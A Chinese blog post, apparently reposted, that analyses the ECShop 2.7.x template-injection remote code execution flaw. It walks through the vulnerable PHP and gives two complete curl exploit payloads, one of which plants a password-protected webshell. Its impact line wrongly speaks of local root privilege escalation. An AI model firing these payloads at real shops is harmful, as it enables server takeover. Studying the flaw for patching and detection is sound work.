漏洞简介
漏洞名称:Ecshop全系列版本远程代码执行漏洞
漏洞危害:低权限用户可利用该漏洞在受影响的Linux系统上实现本地提权获取root权限
影响范围:ECShop <= 2.7.x,2018年9月1日阿里云态势感知发布预警
漏洞原理
漏洞分析部分转载自:预警| ECShop全系列版本远程代码执行高危漏洞 阿里云WAF已可防御
该漏洞产生的根本原因在于ECShop系统的user.php文件中,display函数的模板变量可控,导致注入,配合注入可达到远程代码执行的效果。使得攻击者无需登录等操作,直接可以获得服务器的权限。
首先从user.php文件入手,代码中可以看到,系统读取HTTP_REFERER传递过来的
内容赋值给$back_act变量
接着以$back_act的值为参数,调用assign方法。
文件:/user.php
1 | /* 用户登录界面 */ |
assign方法的作用是把可控变量传递给模版函数,紧接着再通过display方法展示到页面上。接下来跟进display内部的insert_mod方法。
文件:/includes/cls_template.php
1 | /** |
接下来跟进display内部的insert_mod方法。
文件:/includes/cls_template.php
1 | function insert_mod($name) // 处理动态内容 |
insert_mod方法返回了一个动态函数调用,该函数名和参数均可控,根据攻击者的利用方法,我们可以得知调用的函数名为insert_ads,接下来跟进这一方法。
文件:/includes/lib_insert.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37/**
* 调用指定的广告位的广告
*
* @access public
* @param integer $id 广告位ID
* @param integer $num 广告数量
* @return string
*/
function insert_ads($arr)
{
static $static_res = NULL;
$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
...//ignore
$position_style = 'str:' . $position_style;
$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
$GLOBALS['smarty']->caching = $need_cache;
return $val;
}
不难发现,$arr[‘id’]和$arr[‘num’]这两个变量,都是外部可控的输入点,在构造攻击向量的过程中执行的SQL语句如下。
接着,程序调用了fetch方法,参数由$row[‘position_style’]变量赋值,这一变量同样为外部可控输入点。
文件:/includes/lib_insert.php1
2
3
4
5
6
7
8
9
10
11$position_style = 'str:' . $position_style;
$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
$GLOBALS['smarty']->caching = $need_cache;
return $val;
这里fetch函数调用了危险函数,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理。
文件:/includes/cls_template.php1
2
3
4
5
6
7
8
9
10
11
12
13
14function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;
if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4))); //漏洞点
}
...//ignore
}
最终输入点依次经过fetch_str、select、get_val,最终传入make_var方法。
文件:/includes/cls_template.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34function make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var[\'' . $val . '\']';
}
else
{
$t = explode('.', $val);
$_var_name = array_shift($t);
if (isset($this->_var[$_var_name]) && isset($this->_patchstack[$_var_name]))
{
$_var_name = $this->_patchstack[$_var_name];
}
if ($_var_name == 'smarty')
{
$p = $this->_compile_smarty_ref($t);
}
else
{
$p = '$this->_var[\'' . $_var_name . '\']';
}
foreach ($t AS $val)
{
$p.= '[\'' . $val . '\']';
}
}
return $p;
}
最终传递到eval的字符串为:
到此,漏洞原理分析完成,攻击者的恶意代码执行成功。
漏洞复现
测试环境:ECSHOP_2.7.3
由于没找到ECSHOP在之前有漏洞的版本,本地部署也比较麻烦,找到一个名为 VSPlate 平台,输入https://github.com/vulnspy/ECShop_2.7.3_UTF8_installed
即可搭建一个ECSHOP_2.7.3的漏洞测试环境。
创建好ECSHOP
发送Payload执行 phpinfo();
在终端中执行(要更换域名):1
curl http://example.com/user.php -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'
发送 Paylod 写入 webshell
在终端中执行(要更换域名):1
curl http://example.com/user.php -d 'action=login&vulnspy=eval(base64_decode($_POST[d]));exit;&d=ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOz8%2BJyk7' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'
成功获取webshell
执行成功后会自动生成 http://example/vulnspy.php 文件,密码为 vulnspy。
访问:http://example/vulnspy.php?vulnspy=phpinfo();
建议
现在官方已更新,更新版本即可。
参考链接:
预警| ECShop全系列版本远程代码执行高危漏洞 阿里云WAF已可防御
ECShop全系列版本远程代码执行高危漏洞分析
ECShop <= 2.7.x 全系列版本远程代码执行高危漏洞利用
声明:本站如无意中侵犯了某个媒体或个人的知识产权,请联系告之,本网站将立即删除。本站内容来自于互联网,仅适于技术爱好者学习研究使用,学习中请遵循国家相关法律法规,一否则切后果自责,本站不承担任何责任!
文中若存在不妥或有误之处,敬请指正,不胜感激。